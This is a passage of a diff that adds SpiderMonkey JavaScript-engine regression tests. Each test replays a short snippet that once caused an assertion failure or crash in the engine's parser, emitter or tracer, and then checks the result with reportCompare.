diff --git a/js/src/tests/non262/regress/regress-452498-104.js b/js/src/tests/non262/regress/regress-452498-104.js
new file mode 100644
index 0000000000..3d48b694de
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-104.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #104 From Jesse Ruderman
+
+ (function(a) { function b() { a; } function a() { } })();
+// Assertion failure: pn_defn, at ../jsparse.h:655
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-111.js b/js/src/tests/non262/regress/regress-452498-111.js
new file mode 100644
index 0000000000..558ad018fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-111.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #111 From Gary Kwong [:nth10sd]
+
+new Function("{function x(){}}");
+
+// Assertion failure: pn->pn_defn || (fun->flags & JSFUN_LAMBDA), at ../jsemit.cpp:4149
+
+ reportCompare(expect, actual, summary);
+}
+
+
diff --git a/js/src/tests/non262/regress/regress-452498-112.js b/js/src/tests/non262/regress/regress-452498-112.js
new file mode 100644
index 0000000000..1d45cba317
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-112.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #112 From Jesse Ruderman
+
+ expect = 'ReferenceError: can\'t access lexical declaration \'q\' before initialization';
+
+ try
+ {
+ q = new Function("(function() { q(3); })(); const q = undefined;"); q();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-114-a.js b/js/src/tests/non262/regress/regress-452498-114-a.js
new file mode 100644
index 0000000000..c3a2f0340e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-114-a.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #114 From Gary Kwong [:nth10sd]
+
+ if (typeof timeout == 'function')
+ {
+ timeout(3);
+ try
+ {
+ eval('while(x|={}) with({}) const x;');
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, '');
+ }
+
+// Assertion failure: cg->stackDepth >= 0, at ../jsemit.cpp:185
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-114.js b/js/src/tests/non262/regress/regress-452498-114.js
new file mode 100644
index 0000000000..99e62e0c83
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-114.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #114 From Gary Kwong [:nth10sd]
+
+ for (var x = 0; x < 3; ++x){ y = function (){} }
+
+// glorp!
+// Assertion failed: "Constantly false guard detected": 0 (../nanojit/LIR.cpp:999)
+// (note, this is with -j; I don't know what the glorp! message is about.)
+
+// =====
+ function y([{x: x, y}]){}
+
+// Assertion failure: UPVAR_FRAME_SKIP(pn->pn_cookie) == (pn->pn_defn ? cg->staticLevel : 0), at ../jsemit.cpp:3547
+
+// =====
+
+ try
+ {
+ eval("(1.3.__defineGetter__(\"\"));let (y, x) { var z = true, x = 0; }");
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: ATOM_IS_STRING(atom), at ../jsinterp.cpp:5691
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-116.js b/js/src/tests/non262/regress/regress-452498-116.js
new file mode 100644
index 0000000000..e77d65208b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-116.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #116 From Gary Kwong [:nth10sd]
+
+// -j
+ (new Function("for (var x = 0; x < 3; ++x) { (function(){})() } "))();
+
+//Crash [@ js_IsActiveWithOrBlock]
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-117.js b/js/src/tests/non262/regress/regress-452498-117.js
new file mode 100644
index 0000000000..b933da02b6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-117.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #117 From Gary Kwong [:nth10sd]
+
+// The following all do not require -j.
+
+// =====
+
+ try
+ {
+ eval('x; function x(){}; const x = undefined;');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: !pn->isPlaceholder(), at ../jsparse.cpp:4876
+// =====
+ (function(){ var x; eval("var x; x = null"); })();
+
+// Assertion failure: !(pnu->pn_dflags & PND_BOUND), at ../jsemit.cpp:1818
+// =====
+ (function(){const x = 0, y = delete x;})()
+
+// Assertion failure: n != 0, at ../jsfun.cpp:2689
+// =====
+ try
+ {
+ eval('(function(){{for(c in (function (){ for(x in (x1))window} )()) {const x = undefined;} }})();');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: (fun->u.i.script)->upvarsOffset != 0, at ../jsfun.cpp:1537
+// Opt crash [@ js_NewFlatClosure] near null
+// =====
+ "" + function(){for(var [x] in x1) ([]); function x(){}}
+
+// Assertion failure: cg->stackDepth == stackDepth, at ../jsemit.cpp:3664
+// Opt crash [@ JS_ArenaRealloc] near null
+// =====
+ try
+ {
+ eval(
+ "for (a in (function(){" +
+ " for (let x of ['']) { return new function x1 (\u3056) { yield x } ();" +
+ " }})())" +
+ " function(){}"
+ );
+ }
+ catch(ex)
+ {
+ }
+// Crash [@ js_Interpret] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-118.js b/js/src/tests/non262/regress/regress-452498-118.js
new file mode 100644
index 0000000000..ac6ac88a9a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-118.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #118 From Jesse Ruderman
+
+ (function() { (function() { e *= 4; })(); var e; })();
+
+//Without patch: no output
+//With patch: ReferenceError: reference to undefined property "e"
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-121.js b/js/src/tests/non262/regress/regress-452498-121.js
new file mode 100644
index 0000000000..d5e942a75e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-121.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #121 From Gary Kwong [:nth10sd]
+
+// without -j
+ x = function() { return x; };
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:651
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-123.js b/js/src/tests/non262/regress/regress-452498-123.js
new file mode 100644
index 0000000000..f68e64836d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-123.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// ------- Comment #123 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+ try
+ {
+ eval('y = (function (){y} for (x in []);');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:651
+// =====
+ (function(){for(var x in [arguments]){} function x(){}})();
+
+// Assertion failure: dn->pn_defn, at ../jsemit.cpp:1873
+// =====
+
+
+// Requires -j:
+// =====
+ (function(){ eval("for (x in ['', {}, '', {}]) { this; }" )})();
+
+// Assertion failure: fp->thisp == fp->argv[-1].toObjectOrNull(), at ../jstracer.cpp:4172
+// =====
+ for (let x of ['', '', '']) { (new function(){} )}
+
+// Assertion failure: scope->object == ctor, at ../jsbuiltins.cpp:236
+// Opt crash [@ js_FastNewObject] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-129.js b/js/src/tests/non262/regress/regress-452498-129.js
new file mode 100644
index 0000000000..455b11392e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-129.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #129 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+try {
+ eval("({ set x x () { for(x in function(){}){}} })");
+} catch (e)
+{
+}
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1710
+// =====
+
+try
+{
+ (function (){ eval("(function(){delete !function(){}});"); })();
+}
+catch(ex)
+{
+}
+// Debug crash [@ JSParseNode::isFunArg] at null
+// Opt crash [@ FindFunArgs] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-131.js b/js/src/tests/non262/regress/regress-452498-131.js
new file mode 100644
index 0000000000..4787f26dcf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-131.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #131 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+ try
+ {
+ eval('((__defineGetter__, function (x) { function x(){} }) for');
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: pn->pn_cookie == FREE_UPVAR_COOKIE, at ../jsparse.cpp:5698
+// =====
+ try
+ {
+ eval('( "" ? 1.3 : x); *::*; x::x;');
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: pn != dn->dn_uses, at ../jsparse.cpp:1171
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-135.js b/js/src/tests/non262/regress/regress-452498-135.js
new file mode 100644
index 0000000000..591d2fab91
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-135.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #135 From Gary Kwong [:nth10sd]
+
+// -j is not required:
+// ===
+
+ for (let i = 0; i < 9; ++i) {
+ let m = i;
+ if (i % 3 == 1) {
+ print('' + (function() { return m; })());
+ }
+ }
+
+// Debug & opt crash [@ BindNameToSlot]
+
+// -j is required:
+// ===
+ for (let a=0;a<3;++a) for (let b=0;b<3;++b) if ((g=a|(a%b))) with({}){}
+
+// Assertion failure: OBJ_IS_CLONED_BLOCK(obj), at ../jsobj.cpp:2392
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-155.js b/js/src/tests/non262/regress/regress-452498-155.js
new file mode 100644
index 0000000000..d259ff5059
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-155.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ delete (1 ? window : function(){});
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-160.js b/js/src/tests/non262/regress/regress-452498-160.js
new file mode 100644
index 0000000000..8035002fad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-160.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #160 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:5916
+ ({ set z(v){}, set y(v) { return --x; }, set w(v) { return --w; } });
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/regress/regress-452498-168-1.js b/js/src/tests/non262/regress/regress-452498-168-1.js
new file mode 100644
index 0000000000..0b1c492933
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-168-1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #168 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: (fun->u.i.script)->upvarsOffset != 0, at ../jsfun.cpp:1543
+
+ (
+ new Function("const x = (function () { if (1e+81){} else{x} } )"
+ ))();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-168-2.js b/js/src/tests/non262/regress/regress-452498-168-2.js
new file mode 100644
index 0000000000..c3f150300a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-168-2.js
@@ -0,0 +1,29 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #168 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: cg->upvars.lookup(atom), at ../jsemit.cpp:2047
+
+ for (let x; __defineSetter__; (<{x}></{x}> for (x in x))) {}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-176.js b/js/src/tests/non262/regress/regress-452498-176.js
new file mode 100644
index 0000000000..a370592adf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-176.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #176 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: pn_arity == PN_FUNC || pn_arity == PN_NAME, at ../jsparse.h:449
+
+ if(delete( 5 ? [] : (function(){})() )) [];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-181.js b/js/src/tests/non262/regress/regress-452498-181.js
new file mode 100644
index 0000000000..9e69dcd14c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-181.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #181 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+
+ (function(print) { delete print; })(); print(actual = 3);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-185.js b/js/src/tests/non262/regress/regress-452498-185.js
new file mode 100644
index 0000000000..0c0d2a33c2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-185.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #185 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: redeclaration of var e';
+ try
+ {
+ eval('{ var e = 3; let e = ""; } print(typeof e);');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-187.js b/js/src/tests/non262/regress/regress-452498-187.js
new file mode 100644
index 0000000000..dd04f1f899
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-187.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #187 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('const x = undefined; for (x in []);');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-191.js b/js/src/tests/non262/regress/regress-452498-191.js
new file mode 100644
index 0000000000..20b9bdadc9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-191.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #191 From Brendan Eich
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Error';
+ try
+ {
+ eval('{ var x; {let x;} }');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'SyntaxError: redeclaration of let x';
+ try
+ {
+ eval('{ let x; {var x;} }');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-192.js b/js/src/tests/non262/regress/regress-452498-192.js
new file mode 100644
index 0000000000..c3f534e08a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-192.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #192 From Brendan Eich
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ let x;
+ with({x: (x -= 0)}){([]); const x = undefined; }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452573-01.js b/js/src/tests/non262/regress/regress-452573-01.js
new file mode 100644
index 0000000000..6192939433
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452573-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452573;
+var summary = 'Do not assert with JIT: boxed.isUndefined() || boxed.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<5;++j) typeof void /x/;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452573-02.js b/js/src/tests/non262/regress/regress-452573-02.js
new file mode 100644
index 0000000000..b765f3c179
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452573-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452573;
+var summary = 'Do not assert with JIT: "(((rmask(rr) & FpRegs) != 0))"';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<5;++j) typeof void 1;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452703.js b/js/src/tests/non262/regress/regress-452703.js
new file mode 100644
index 0000000000..e86f2625fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452703.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
